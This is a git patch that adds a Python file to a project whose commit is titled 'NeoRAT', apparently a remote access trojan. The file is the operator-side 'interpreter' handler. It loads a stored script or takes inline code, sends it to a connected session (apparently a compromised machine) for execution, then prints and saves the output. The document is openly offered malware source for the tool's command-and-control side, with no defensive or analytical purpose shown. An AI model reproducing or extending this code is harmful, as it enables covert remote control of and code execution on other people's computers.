From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- domestic/session/server_handling/interpreter.py | 35 +++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 domestic/session/server_handling/interpreter.py (limited to 'domestic/session/server_handling/interpreter.py') diff --git a/domestic/session/server_handling/interpreter.py b/domestic/session/server_handling/interpreter.py new file mode 100644 index 0000000..0c403e4 --- /dev/null +++ b/domestic/session/server_handling/interpreter.py @@ -0,0 +1,35 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def interpreter(message): + execute = validate_dict_key(message, 'execute') + script = validate_dict_key(message, 'script') + quiet = validate_dict_key(message, 'quiet') + + assert execute or script + + if script: + parent_folder = state['settings']['folders']['parent'] + child_folder = state['settings']['folders']['child'][1] + message['execute'] = read_file(f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(state['settings']['encoding']) + del message['script'] + + if quiet: + del message['quiet'] + + data = session_message(message, False) + result = validate_dict_key(data, 'result') + + if result: + if quiet is None: + status_message(data['result'], 'pure', {'end': True}) + print() + make_file(['interpreter'], 'txt', bytes(data['result'], state['settings']['encoding']), data['message']) + else: + status_message(data['message'], data['text_mode']) \ No newline at end of file -- cgit v1.2.3